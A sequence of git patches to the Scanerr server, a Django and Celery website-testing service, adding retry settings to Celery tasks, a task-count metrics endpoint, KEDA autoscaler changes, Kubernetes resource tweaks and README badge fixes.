+    permission_classes = (AllowAny,)
+    http_method_names = ['get',]
+    
+    def get(self, request):
+        response = get_celery_task_length(request)
+        return response
+

From 8175f88e600cdd7ac31b65c542b94df79f6b598d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 17:54:45 -0500
Subject: [PATCH 0073/1099] added json field to response

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 2b8ac586..29de2098 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2862,6 +2862,6 @@ def get_celery_task_length(request):
         all_tasks += reserved[replica]
 
     # return response
-    data = {str(all_tasks)}
+    data = {"all_tasks": str(all_tasks)}
     response = Response(data, status=status.HTTP_200_OK)
     return response
\ No newline at end of file

From 8b4bd92d6f7d083529e1c06c1a8459a600cb2328 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 18:10:03 -0500
Subject: [PATCH 0074/1099] fixed tasks metrics bug

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 29de2098..9a39d829 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2859,7 +2859,7 @@ def get_celery_task_length(request):
     for replica in reserved:
         all_tasks += len(reserved[replica])
     for replica in active:
-        all_tasks += reserved[replica]
+        all_tasks += len(active[replica])
 
     # return response
     data = {"all_tasks": str(all_tasks)}

From a0e5189be164a79b0cf94b2e87d6288e9046df62 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 19:28:20 -0500
Subject: [PATCH 0075/1099] added retry configs to tasks

---
 app/api/tasks.py | 69 +++++++++++++++++++++++++-----------------------
 1 file changed, 36 insertions(+), 33 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 75433165..57480c57 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -28,6 +28,14 @@
 
 
 
+class BaseTaskWithRetry(celery.Task):
+    autoretry_for = (Exception, KeyError)
+    retry_kwargs = {'max_retries': 5}
+    retry_backoff = True
+
+
+
+
 
 @shared_task
 def test_pupeteer():
@@ -35,15 +43,8 @@ def test_pupeteer():
     logger.info('Tested pupeteer instalation')
 
 
-@shared_task
-def create_site_bg(site_id=None, scan_id=None, configs=None, *args, **kwargs):
-    create_site_task(site_id, scan_id, configs)
-    logger.info('Created scan of new site')
-
-
-
-@shared_task
-def create_site_and_pages_bg(site_id=None, configs=None, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
     site = Site.objects.get(id=site_id)
     site.time_crawl_started = timezone.now()
     site.time_crawl_completed = None
@@ -83,8 +84,8 @@ def create_site_and_pages_bg(site_id=None, configs=None, *args, **kwargs):
 
 
 
-@shared_task
-def crawl_site_bg(site_id=None, configs=None, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def crawl_site_bg(self, site_id=None, configs=None, *args, **kwargs):
     site = Site.objects.get(id=site_id)
     site.time_crawl_started = timezone.now()
     site.time_crawl_completed = None
@@ -136,8 +137,8 @@ def crawl_site_bg(site_id=None, configs=None, *args, **kwargs):
 
 
 
-@shared_task
-def scan_page_bg(scan_id=None, configs=None, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def scan_page_bg(self, scan_id=None, configs=None, *args, **kwargs):
     scan = Scan.objects.get(id=scan_id)
     
     # run each scan component in parallel
@@ -154,8 +155,9 @@ def scan_page_bg(scan_id=None, configs=None, *args, **kwargs):
 
 
 
-@shared_task
+@shared_task(bing=True, base=BaseTaskWithRetry)
 def _create_scan(
+        self,
         scan_id=None,
         page_id=None, 
         type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
@@ -177,8 +179,8 @@ def _create_scan(
 
 
 
-@shared_task
-def create_scan_bg(*args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def create_scan_bg(self, *args, **kwargs):
     # get data
     site_id = kwargs.get('site_id')
     page_id = kwargs.get('page_id')
@@ -205,31 +207,31 @@ def create_scan_bg(*args, **kwargs):
 
 
 
-@shared_task
-def run_html_and_logs_bg(scan_id=None, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def run_html_and_logs_bg(self, scan_id=None, *args, **kwargs):
     run_html_and_logs_task(scan_id)
     logger.info('ran html & logs component')
 
-@shared_task
-def run_vrt_bg(scan_id=None, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def run_vrt_bg(self, scan_id=None, *args, **kwargs):
     run_vrt_task(scan_id)
     logger.info('ran vrt component')
 
-@shared_task
-def run_lighthouse_bg(scan_id=None, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def run_lighthouse_bg(self, scan_id=None, *args, **kwargs):
     run_lighthouse_task(scan_id)
     logger.info('ran lighthouse component')
 
-@shared_task
-def run_yellowlab_bg(scan_id=None, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def run_yellowlab_bg(self, scan_id=None, *args, **kwargs):
     run_yellowlab_task(scan_id)
     logger.info('ran yellowlab component')
 
 
 
 
-@shared_task
-def run_test(test_id, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def run_test(self, test_id, *args, **kwargs):
     automation_id = kwargs.get('automation_id')
     test = Test.objects.get(id=test_id)
     T(test=test).run_test()
@@ -240,8 +242,8 @@ def run_test(test_id, *args, **kwargs):
     logger.info('Test completed')
 
 
-@shared_task
-def check_scan_for_test(test_id=None, max_wait_time=500, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def check_scan_for_test(self, test_id=None, max_wait_time=500, *args, **kwargs):
     automation_id = kwargs.get('automation_id')
     test = Test.objects.get(id=test_id)
     post_scan_id = test.post_scan.id
@@ -259,8 +261,9 @@ def check_scan_for_test(test_id=None, max_wait_time=500, *args, **kwargs):
     logger.info('Scan complete, begining Test')
 
 
-@shared_task
+@shared_task(bing=True, base=BaseTaskWithRetry)
 def _create_test(
+        self,
         test_id=None,
         page_id=None, 
         automation_id=None, 
@@ -305,7 +308,6 @@ def _create_test(
             configs=configs,
         )
         
-
     # updating parired scans
     pre_scan.paired_scan = post_scan
     post_scan.paried_scan = pre_scan
@@ -326,8 +328,8 @@ def _create_test(
 
 
 
-@shared_task
-def create_test_bg(*args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def create_test_bg(self, *args, **kwargs):
     # get data
     site_id = kwargs.get('site_id')
     page_id = kwargs.get('page_id')
@@ -482,8 +484,9 @@ def purge_logs(username=None, *args, **kwargs):
     logger.info('Purged logs')
 
 
-@shared_task
+@shared_task(bing=True, base=BaseTaskWithRetry)
 def create_testcase_bg(
+        self, 
         testcase_id=None, 
         site_id=None, 
         case_id=None, 

From 67d7b7bcb583ec5bf7304ee762307866408e6e8b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 19:28:30 -0500
Subject: [PATCH 0076/1099] cleaning up

---
 k8s/prod/celery-autoscaler.yaml               | 70 ++++++++++++++++---
 k8s/prod/celery-deployment.yaml               |  2 +-
 k8s/prod/{ => old_configs}/app-pvc.yaml       |  0
 .../{ => old_configs}/redis-deployment.yaml   |  0
 4 files changed, 62 insertions(+), 10 deletions(-)
 rename k8s/prod/{ => old_configs}/app-pvc.yaml (100%)
 rename k8s/prod/{ => old_configs}/redis-deployment.yaml (100%)

diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index d2939968..e9845aa4 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -5,17 +5,69 @@ metadata:
 spec:
   scaleTargetRef:
     name: celery-deployment
-  pollingInterval: 3
+  cooldownPeriod:  4000
+  pollingInterval: 10
   minReplicaCount: 2
   maxReplicaCount: 15
   triggers:
-    - type: redis
+    - type: metrics-api
       metadata:
-        address: redis.default.svc.cluster.local:6379  # Format must be host:port redis:6379
-        listName: celery # Required
-        listLength: "5" # Required
-        activationListLength: "5" # optional
-        enableTLS: "false" # optional
-        unsafeSsl: "false" # optional
-        databaseIndex: "0" # optional
+        targetValue: "5"
+        # activationTargetValue: "4"
+        url: "https://api.scanerr.io/v1/ops/metrics/celery/tasks"
+        valueLocation: "all_tasks"
+
+
+
+
+
+
+
+
+
+# apiVersion: keda.sh/v1alpha1
+# kind: ScaledObject
+# metadata:
+#   name: celery-scaler
+# spec:
+#   scaleTargetRef:
+#     name: celery-deployment
+#   pollingInterval: 3
+#   minReplicaCount: 2
+#   maxReplicaCount: 15
+#   triggers:
+#     - type: redis
+#       metadata:
+#         address: redis.default.svc.cluster.local:6379  # Format must be host:port redis:6379
+#         listName: celery # Required
+#         listLength: "5" # Required
+#         activationListLength: "5" # optional
+#         enableTLS: "false" # optional
+#         unsafeSsl: "false" # optional
+#         databaseIndex: "0" # optional
+
+
+
+
+# apiVersion: keda.sh/v1alpha1
+# kind: ScaledObject
+# metadata:
+#   name: celery-scaler
+# spec:
+#   scaleTargetRef:
+#     name: celery-deployment
+#   cooldownPeriod:  4000
+#   pollingInterval: 3
+#   minReplicaCount: 2
+#   maxReplicaCount: 15
+#   triggers:
+#   - type: rabbitmq
+#     metadata:
+#       host: amqp://rabbitmq.default.svc.cluster.local:5672 # rabbitmq.default.svc.cluster.local:5672 Optional. If not specified, it must be done by using TriggerAuthentication.
+#       mode: QueueLength # QueueLength or MessageRate
+#       value: "5" # message backlog or publish/sec. target per instance
+#       activationValue: "5" # Optional. Activation threshold
+#       queueName: celery
+
+
 
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index be898dca..74df9e09 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -14,7 +14,7 @@ spec:
       labels:
         app: celery-deployment
     spec:
-      terminationGracePeriodSeconds: 2000
+      terminationGracePeriodSeconds: 4000
       imagePullSecrets:
         - name: regcred
       containers:
diff --git a/k8s/prod/app-pvc.yaml b/k8s/prod/old_configs/app-pvc.yaml
similarity index 100%
rename from k8s/prod/app-pvc.yaml
rename to k8s/prod/old_configs/app-pvc.yaml
diff --git a/k8s/prod/redis-deployment.yaml b/k8s/prod/old_configs/redis-deployment.yaml
similarity index 100%
rename from k8s/prod/redis-deployment.yaml
rename to k8s/prod/old_configs/redis-deployment.yaml

From eeea902e7b11570fdf57974d6e877523b575a187 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 19:35:55 -0500
Subject: [PATCH 0077/1099] changed max_retries to 2

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 57480c57..3b31af00 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -30,7 +30,7 @@
 
 class BaseTaskWithRetry(celery.Task):
     autoretry_for = (Exception, KeyError)
-    retry_kwargs = {'max_retries': 5}
+    retry_kwargs = {'max_retries': 2}
     retry_backoff = True
 
 

From e5844da1c1c67b0dd78b6e291af8dc4c7a64e29a Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 21:48:26 -0500
Subject: [PATCH 0078/1099] fixed import bug

---
 app/api/tasks.py | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 3b31af00..47abc565 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1,8 +1,7 @@
 from __future__ import absolute_import, unicode_literals
 from typing import Any
 from celery.utils.log import get_task_logger
-from celery import shared_task
-from celery import Task as BaseTask
+from celery import shared_task, Task
 from .utils.crawler import Crawler
 from .utils.scanner import Scanner as S
 from .utils.tester import Tester as T
@@ -27,8 +26,7 @@
 logger = get_task_logger(__name__)
 
 
-
-class BaseTaskWithRetry(celery.Task):
+class BaseTaskWithRetry(Task):
     autoretry_for = (Exception, KeyError)
     retry_kwargs = {'max_retries': 2}
     retry_backoff = True

From a7710b9311c23f0875710f68557bb238be9c0b61 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 22:31:28 -0500
Subject: [PATCH 0079/1099] fixed some bugs and cleaned up configs

---
 app/api/tasks.py           | 32 ++++++++++++++++++--------------
 app/api/v1/ops/services.py |  1 +
 app/scanerr/settings.py    |  3 ---
 3 files changed, 19 insertions(+), 17 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 47abc565..f8460e6b 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -41,7 +41,7 @@ def test_pupeteer():
     logger.info('Tested pupeteer instalation')
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
     site = Site.objects.get(id=site_id)
     site.time_crawl_started = timezone.now()
@@ -82,7 +82,7 @@ def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
 
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def crawl_site_bg(self, site_id=None, configs=None, *args, **kwargs):
     site = Site.objects.get(id=site_id)
     site.time_crawl_started = timezone.now()
@@ -135,7 +135,7 @@ def crawl_site_bg(self, site_id=None, configs=None, *args, **kwargs):
 
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def scan_page_bg(self, scan_id=None, configs=None, *args, **kwargs):
     scan = Scan.objects.get(id=scan_id)
     
@@ -153,7 +153,7 @@ def scan_page_bg(self, scan_id=None, configs=None, *args, **kwargs):
 
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def _create_scan(
         self,
         scan_id=None,
@@ -177,7 +177,7 @@ def _create_scan(
 
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def create_scan_bg(self, *args, **kwargs):
     # get data
     site_id = kwargs.get('site_id')
@@ -195,6 +195,7 @@ def create_scan_bg(self, *args, **kwargs):
 
     for page in pages:
         _create_scan.delay(
+            self,
             page_id=page.id,
             type=type,
             configs=configs,
@@ -205,22 +206,22 @@ def create_scan_bg(self, *args, **kwargs):
 
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_html_and_logs_bg(self, scan_id=None, *args, **kwargs):
     run_html_and_logs_task(scan_id)
     logger.info('ran html & logs component')
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_vrt_bg(self, scan_id=None, *args, **kwargs):
     run_vrt_task(scan_id)
     logger.info('ran vrt component')
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_lighthouse_bg(self, scan_id=None, *args, **kwargs):
     run_lighthouse_task(scan_id)
     logger.info('ran lighthouse component')
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_yellowlab_bg(self, scan_id=None, *args, **kwargs):
     run_yellowlab_task(scan_id)
     logger.info('ran yellowlab component')
@@ -228,7 +229,7 @@ def run_yellowlab_bg(self, scan_id=None, *args, **kwargs):
 
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_test(self, test_id, *args, **kwargs):
     automation_id = kwargs.get('automation_id')
     test = Test.objects.get(id=test_id)
@@ -240,7 +241,7 @@ def run_test(self, test_id, *args, **kwargs):
     logger.info('Test completed')
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def check_scan_for_test(self, test_id=None, max_wait_time=500, *args, **kwargs):
     automation_id = kwargs.get('automation_id')
     test = Test.objects.get(id=test_id)
@@ -259,7 +260,7 @@ def check_scan_for_test(self, test_id=None, max_wait_time=500, *args, **kwargs):
     logger.info('Scan complete, begining Test')
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def _create_test(
         self,
         test_id=None,
@@ -302,6 +303,7 @@ def _create_test(
             configs=configs,
         )
         scan_page_bg.delay(
+            self,
             scan_id=post_scan.id, 
             configs=configs,
         )
@@ -326,7 +328,7 @@ def _create_test(
 
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def create_test_bg(self, *args, **kwargs):
     # get data
     site_id = kwargs.get('site_id')
@@ -349,6 +351,7 @@ def create_test_bg(self, *args, **kwargs):
 
         for page in pages:
             _create_test.delay(
+                self, 
                 page_id=page.id,
                 type=type,
                 configs=configs,
@@ -361,6 +364,7 @@ def create_test_bg(self, *args, **kwargs):
     if test_id is not None:
         test = Test.objects.get(id=test_id)
         _create_test.delay(
+            self,
             test_id=test_id,
             page_id=test.page.id,
             type=type,
@@ -482,7 +486,7 @@ def purge_logs(username=None, *args, **kwargs):
     logger.info('Purged logs')
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def create_testcase_bg(
         self, 
         testcase_id=None, 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9a39d829..9cd459f5 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1252,6 +1252,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         
         if delay == True:
             create_test_bg.delay(
+                self, 
                 page_id=p.id,
                 test_id=test.id,
                 configs=configs,
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 3c0f0744..95f1db40 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -192,12 +192,9 @@
 
 # Redis and Celery Conf
 # CELERY_BROKER_URL = "redis://redis:6379"
-# CELERY_RESULT_BACKEND = "redis://redis:6379"
 
 # RabbitMQ and Celery Conf
 CELERY_BROKER_URL = "amqp://rabbitmq"
-# CELERY_BROKER_URL = "rpc://rabbitmq:5672"
-# CELERY_RESULT_BACKEND = "rpc://rabbitmq:5672"
 
 
 

From c32cc8c6a8b67c2558213b6250cfc33178f7f879 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 23:36:43 -0500
Subject: [PATCH 0080/1099] fixing 'self' bug

---
 app/api/v1/ops/services.py | 1 -
 1 file changed, 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9cd459f5..9a39d829 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1252,7 +1252,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
         
         if delay == True:
             create_test_bg.delay(
-                self, 
                 page_id=p.id,
                 test_id=test.id,
                 configs=configs,

From 1998907a0da1b53e5564d6d6d5ff4c1199059b69 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 00:23:40 -0500
Subject: [PATCH 0081/1099] removed stray "self" args

---
 app/api/tasks.py | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index f8460e6b..e737a660 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -195,7 +195,6 @@ def create_scan_bg(self, *args, **kwargs):
 
     for page in pages:
         _create_scan.delay(
-            self,
             page_id=page.id,
             type=type,
             configs=configs,
@@ -303,7 +302,6 @@ def _create_test(
             configs=configs,
         )
         scan_page_bg.delay(
-            self,
             scan_id=post_scan.id, 
             configs=configs,
         )
@@ -351,7 +349,6 @@ def create_test_bg(self, *args, **kwargs):
 
         for page in pages:
             _create_test.delay(
-                self, 
                 page_id=page.id,
                 type=type,
                 configs=configs,
@@ -364,7 +361,6 @@ def create_test_bg(self, *args, **kwargs):
     if test_id is not None:
         test = Test.objects.get(id=test_id)
         _create_test.delay(
-            self,
             test_id=test_id,
             page_id=test.page.id,
             type=type,

From e1cac361f062de1414b1276cd149585c0ce0441d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 10:01:27 -0500
Subject: [PATCH 0082/1099] fixing testing bug

---
 app/api/tasks.py | 2 --
 1 file changed, 2 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index e737a660..ad35afab 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -232,8 +232,6 @@ def run_yellowlab_bg(self, scan_id=None, *args, **kwargs):
 def run_test(self, test_id, *args, **kwargs):
     automation_id = kwargs.get('automation_id')
     test = Test.objects.get(id=test_id)
-    T(test=test).run_test()
-
     test = T(test=test).run_test()
     if automation_id:
         automation(automation_id, test.id)

From ab73bc311142ab45fd2b29858edb3d2f2f201547 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 10:08:24 -0500
Subject: [PATCH 0083/1099] fixing badge

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 37ea55a9..6f9a95b7 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
 # Scanerr Server (API repo)
 
-[![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow/badge.svg)](https://api.scanerr.io/)
+[![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow/badge.svg)]
 
 This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. 
 

From b7b9b8afe7b747104b08c667b5ab83dae859342f Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 10:10:52 -0500
Subject: [PATCH 0084/1099] badge stuff

---
 README.md | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 6f9a95b7..f92d659a 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,7 @@
 # Scanerr Server (API repo)
 
-[![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow/badge.svg)]
+![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow.yml/badge.svg)
+![example workflow](https://github.com/github/docs/actions/workflows/main.yml/badge.svg)
 
 This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. 
 

From b481283f9950c091b4f0b1c45bb65672b7f0ae47 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 10:11:49 -0500
Subject: [PATCH 0085/1099] fixed badge

---
 README.md | 1 -
 1 file changed, 1 deletion(-)

diff --git a/README.md b/README.md
index f92d659a..003216f2 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,6 @@
 # Scanerr Server (API repo)
 
 ![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow.yml/badge.svg)
-![example workflow](https://github.com/github/docs/actions/workflows/main.yml/badge.svg)
 
 This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. 
 

From fe29d3dbc2623c73fe20bfcf9a58ae6207fbd411 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 10:19:40 -0500
Subject: [PATCH 0086/1099] added id tracking to bulk test creation

---
 app/api/v1/ops/services.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9a39d829..2e7ddccb 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1249,7 +1249,8 @@ def create_test(request=None, delay=False, *args, **kwargs):
             type=test_type,
             tags=tags,
         )
-        
+        created_tests.append(str(test.id))
+
         if delay == True:
             create_test_bg.delay(
                 page_id=p.id,

From 4a63e23d5deb65c93db2ab8b321b96ef0212479d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 12:54:18 -0500
Subject: [PATCH 0087/1099] updated resources and added concurency limit

---
 k8s/prod/celery-deployment.yaml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 74df9e09..19474de8 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -19,9 +19,9 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # landonr/scanerr-server:c6f563e #
+          image: <IMAGE> # landonr/scanerr-server:7837ab3 # 
           imagePullPolicy: Always
-          command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
+          command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 2"]
           envFrom:
             - configMapRef:
                 name: app-configs
@@ -35,8 +35,8 @@ spec:
               cpu: "2"
               memory: "4Gi"
             requests:
-              cpu: "1"
-              memory: "1Gi"
+              cpu: "2"
+              memory: "2Gi"
           lifecycle:
             preStop:
               exec:

From 8ada25929bafcff257724a9786c9413ff211e303 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 12:54:26 -0500
Subject: [PATCH 0088/1099] cleaning things up

---
 k8s/kubernetes-notes.md         | 3 ---
 k8s/prod/celery-autoscaler.yaml | 1 -
 2 files changed, 4 deletions(-)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 4eacd4a2..c1cf7b90 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -106,11 +106,8 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 4. Spin up Scanerr deployments and services
-<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-pvc.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml`
-- 
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index e9845aa4..0d1cbc3e 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -13,7 +13,6 @@ spec:
     - type: metrics-api
       metadata:
         targetValue: "5"
-        # activationTargetValue: "4"
         url: "https://api.scanerr.io/v1/ops/metrics/celery/tasks"
         valueLocation: "all_tasks"
 

From 64bc2161f0668987b939dc35cbeb31f783890446 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 16:01:54 -0500
Subject: [PATCH 0089/1099] fixing oom task killer

---
 app/api/tasks.py                | 41 ++++++++++++++++++++-------------
 app/api/utils/driver_p.py       |  2 +-
 app/api/utils/driver_s.py       |  2 +-
 app/api/utils/image.py          | 25 ++++++++++++--------
 app/api/utils/scanner.py        | 28 ++++++++++++++--------
 app/api/v1/ops/services.py      | 25 +++++++++++++++-----
 app/api/v1/ops/tasks.py         | 22 ------------------
 app/api/v1/ops/urls.py          |  2 +-
 app/api/v1/ops/views.py         |  4 ++--
 k8s/prod/celery-autoscaler.yaml |  6 ++---
 k8s/prod/celery-deployment.yaml |  8 +++----
 11 files changed, 90 insertions(+), 75 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index ad35afab..d0277d24 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -6,12 +6,15 @@
 from .utils.scanner import Scanner as S
 from .utils.tester import Tester as T
 from .v1.ops.tasks import (
-    create_site_task, create_scan_task, run_html_and_logs_task,
-    run_vrt_task, run_lighthouse_task, run_yellowlab_task, 
+    create_site_task, create_scan_task, 
     create_test_task, create_report_task, delete_report_s3,
     delete_site_s3, create_testcase_task, migrate_site_task,
     delete_testcase_s3,
 )
+from .utils.scanner import (
+    _html_and_logs, _vrt, _lighthouse, 
+    _yellowlab
+)
 from .models import *
 from django.contrib.auth.models import User
 from django.utils import timezone
@@ -136,18 +139,18 @@ def crawl_site_bg(self, site_id=None, configs=None, *args, **kwargs):
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def scan_page_bg(self, scan_id=None, configs=None, *args, **kwargs):
+def scan_page_bg(self, scan_id=None, test_id=None, automation_id=None, configs=None, *args, **kwargs):
     scan = Scan.objects.get(id=scan_id)
     
     # run each scan component in parallel
     if 'html' in scan.type or 'logs' in scan.type or 'full' in scan.type:
-        run_html_and_logs_bg.delay(scan_id=scan.id)
